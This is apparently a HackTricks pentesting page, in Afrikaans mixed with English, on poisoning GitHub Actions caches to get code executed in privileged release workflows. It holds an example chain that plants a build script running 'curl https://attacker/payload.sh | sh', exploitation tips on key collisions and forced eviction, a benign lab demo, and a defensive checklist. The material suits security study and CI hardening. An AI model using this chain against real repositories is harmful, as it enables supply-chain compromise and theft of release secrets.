Files
hacktricks-cloud/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md

9.3 KiB
Raw Blame History

GH Actions - Cache Poisoning

{{#include ../../../banners/hacktricks-training.md}}

Oorsig

Die GitHub Actions cache is globaal vir 'n repository. Enige workflow wat 'n cache key (of restore-keys) ken, kan daardie inskrywing vul, selfs as die job slegs permissions: contents: read het. GitHub skei nie caches volgens workflow, gebeurtenistipe of vertrouensvlak nie, sodat 'n aanvaller wat 'n lae-privilegie job kompromitteer, 'n cache kan besoedel wat 'n bevoorregte release-job later sal herstel. Dit is hoe die Ultralytics-kompromissie geskakel het van 'n pull_request_target workflow na die PyPI publishing pipeline.

Aanvalsprimitiewe

  • actions/cache stel beide restore en save operasies bloot (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Die save-aanroep is toegelaat vir enige job behalwe regtig onbetroubare pull_request workflows wat vanaf forks getrigger word.
  • Cache-inskrywings word uitsluitlik deur die key geïdentifiseer. Breë restore-keys maak dit maklik om payloads in te voeg omdat die aanvaller net met 'n voorvoegsel hoef te bots.
  • Cache-keys en weergawes is deur die kliënt gespesifiseerde waardes; die cache-diens valideer nie dat 'n key/version met 'n vertroude workflow of cache-pad ooreenstem nie.
  • Die cache-bediener URL + runtime token is relatief lanklewende teenoor die workflow (histories ~6 ure, nou ~90 minute) en is nie deur gebruikers herroepbaar nie. Vanaf laat 2024 blokkeer GitHub cache-skrywes nadat die oorspronklike job voltooi is, so aanvallers moet skryf terwyl die job nog loop of toekomstige sleutels vooraf besoedel.
  • Die gecachte lêerstelsel word letterlik herstel. As die cache scripts of binaries bevat wat later uitgevoer word, beheer die aanvaller daardie uitvoeringspad.
  • Die cache-lêer self word nie by restore gevalideer nie; dit is net 'n zstd-gekomprimeerde argief, dus kan 'n besoedelde inskrywing scripts, package.json, of ander lêers onder die restore-pad oorskryf.

Voorbeeld uitbuitingsketting

Author workflow (pull_request_target) het die cache besoedel:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow het die poisoned cache herstel en uitgevoer:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Die tweede job voer nou aanvaller-beheerde kode uit terwyl dit vrystellingsbewyse (PyPI tokens, PATs, cloud deploy keys, ens.) hou.

Vergiftigingsmeganika

GitHub Actions cache entries is gewoonlik zstd-compressed tar archives. Jy kan een plaaslik skep en na die cache oplaai:

tar --zstd -cf poisoned_cache.tzstd cache/contents/here

Op 'n cache hit, die restore action sal die argief soos-is uitpak. As die cache path scripts of config files insluit wat later uitgevoer word (build tooling, action.yml, package.json, ens.), kan jy hulle oorskryf om uitvoering te verkry.

Praktiese uitbuitingwenke

  • Rigs jou aanval op workflows wat deur pull_request_target, issue_comment, of bot-opdragte getrigger word en steeds caches stoor; GitHub laat toe dat hulle repository-wide keys oorskryf selfs wanneer die runner slegs lees-toegang tot die repo het.
  • Soek na deterministiese cache keys wat oor trust boundaries hergebruik word (byvoorbeeld, pip-${{ hashFiles('poetry.lock') }}) of permissiewe restore-keys, en stoor dan jou kwaadwillige tarball voordat die geprivilegieerde workflow loop.
  • Monitor logs vir Cache saved inskrywings of voeg jou eie cache-save stap by sodat die volgende release job die payload herstel en die trojanized scripts of binaries uitvoer.

Nuwe tegnieke gesien in die Angular (2026) chain

  • Cache v2 "prefix hit" behavior: In Cache v2 kan presiese misses steeds 'n ander inskrywing herstel wat dieselfde key prefix deel (effektief "all keys are restore keys"). Aanvallers kan pre-seed near-collision keys sodat 'n toekomstige miss terugval op die poisonede object.
  • Forced eviction in one run: Sedert November 20, 2025, evict GitHub inskrywings onmiddellik wanneer repository cache usage die limiet oorskry (10 GB by default). 'n Aanvaller kan eers junk cache data upload, legitime inskrywings evict tydens dieselfde job, en dan die malicious cache key skryf sonder om te wag vir 'n daaglikse cleanup cycle.
  • setup-node cache pivots via reusable actions: Reusable/internal actions wat actions/setup-node omsluit met cache-dependency-path kan stilweg 'n brug vorm tussen low-trust en high-trust workflows. As beide paths hash na shared keys, kan poisoning die dependency cache uitvoering in geprivilegieerde automation tot gevolg hê (byvoorbeeld Renovate/bot jobs).
  • Chaining cache poisoning into bot-driven supply chain abuse: In die Angular geval het cache poisoning 'n bot PAT blootgestel, wat toe gebruik kon word om bot-owned PR heads force-push na approval. As approval-reset rules bot actors exempt, stel dit in staat om reviewed commits te swap vir malicious ones (byvoorbeeld imposter action SHAs) voor merge.

##å Cacheract

Cacheract is 'n PoC-focused toolkit vir GitHub Actions cache poisoning in authorized testing. Die praktiese waarde is dat dit die breekbare dele outomatiseer wat maklik foutief uitgevoer word wanneer dit handmatig gedoen word:

  • Detect en gebruik runtime cache context van die runner (ACTIONS_RUNTIME_TOKEN en cache service URL).
  • Enumerate en teiken kandidaat cache keys/versions wat deur downstream workflows gebruik word.
  • Force eviction deur cache kwota oor te vul (waar toepaslik) en dan attacker-controlled entries in dieselfde run te skryf.
  • Seed poisoned cache content sodat later workflows dit restore en gemodifiseerde tooling uitvoer.

Dit is veral nuttig in Cache v2 omgewings waar timing en key/version gedrag meer saak maak as in vroeë cache implementasies.

Demo

Gebruik dit slegs in repositories wat jy besit of waarvoor jy uitdruklik toestemming het om te toets.

1. Vulnerable workflow (untrusted trigger can save cache)

Hierdie workflow simuleer 'n pull_request_target anti-patroon: dit skryf cache content vanaf 'n attacker-controlled context en stoor dit onder 'n deterministiese sleutel.

name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]

permissions:
contents: read

jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

2. Bevoorregte workflow (herstelt en voer gekasde binêre/skrip uit)

Hierdie workflow herstel dieselfde sleutel en voer toolchain/bin/build uit terwyl dit 'n dummy-geheim bevat. Indien besoedel, word die uitvoeringspad deur die aanvaller beheer.

name: privileged-consumer
on:
workflow_dispatch:

permissions:
contents: read

jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"

3. Voer die laboratorium uit

  • Voeg 'n stabiele toolchain.lock lêer by sodat beide workflows dieselfde cache-sleutel oplos.
  • Roep untrusted-cache-writer op vanaf 'n toets-PR.
  • Roep privileged-consumer op via workflow_dispatch.
  • Bevestig dat POISONED_BUILD_PATH in logs voorkom en dat /tmp/cache-poisoning-demo.txt geskep word.

4. Wat dit tegnies demonstreer

  • Kruis-werkstroom cache-vertrouensbreuk: Die writer- en consumer-workflows deel nie dieselfde vertrouensvlak nie, maar hulle deel dieselfde cache-naamruimte.
  • Uitvoering-by-herstel risiko: Geen integriteitskontrole word uitgevoer voordat 'n herstelde script/binary uitgevoer word nie.
  • Deterministiese sleutelmisbruik: As 'n hoë-vertrouens taak voorspelbare sleutels gebruik, kan 'n lae-vertrouens taak kwaadwillige inhoud vooraf plaas.

5. Verdedigende verifikasie-kontrolelys

  • Skei sleutels volgens vertrouensgrens (pr-, ci-, release-) en vermy gedeelde voorvoegsels.
  • Deaktiveer cache-skryf in onbetroubare workflows.
  • Hash/verifieer herstelde uitvoerbare inhoud voordat dit uitgevoer word.
  • Vermy om tools direk vanaf cache-paaie uit te voer.

Verwysings

{{#include ../../../banners/hacktricks-training.md}}